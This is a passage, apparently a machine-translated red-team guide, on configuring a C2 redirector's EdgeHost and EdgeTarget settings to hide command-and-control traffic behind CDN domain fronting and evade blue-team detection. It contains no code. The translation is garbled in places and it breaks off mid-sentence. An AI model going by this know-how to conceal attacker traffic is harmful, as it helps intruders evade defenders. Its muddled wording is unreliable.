Для конкретной конфигурации мы в основном фокусируемся на стрелках. Стрелка 1 выше является именем домена хоста для взаимодействия между интрасетистым хостом и краевым узлом . Рекомендуется установить соответствующее имя доменного домена в соответствии с конкретным сценарием целевого блока. Представьте себе взаимодействие с трафиком между двумя хостами в интрасети об интрасети -доменном имени. Есть ли у BT смелость напрямую отключить интерактивный трафик? Конечно, если они могут определить, что это вредоносный интерактивный трафик. Стрелка 2 указывает на настройку обычного фронта доменов . Эта пара ключей, ключ соответствует онлайн-хосту, и значение соответствует прокси-адресу. Здесь мы можем установить его на любое имя домена HTTPS, используя того же производителя CDN (IP -адрес узла CDN также в порядке, не забудьте принести http (s): // protocol).
EdgeHost - это доменное имя, используемое фронтом доменов нашего поставщика облачных услуг, которое также является доменным именем, используемым узлом RG Edge при взаимодействии с C2 через узлом CDN. Да, RG изменит имени домена хоста законного запроса и изменит его на доменное имя CDN Cloud Service, которое может нормально передаваться.
Edgetarget - это доменное имя для взаимодействия интрасети, которое должно быть таким же, как Arrow 1. Только трафик, запрашиваемый доменным именем, установленным здесь хостом коммуникация.
Здесь мы суммируем:
То есть взаимодействие между краевым узлом и хостом во интрасети является через имя доменного домена. Когда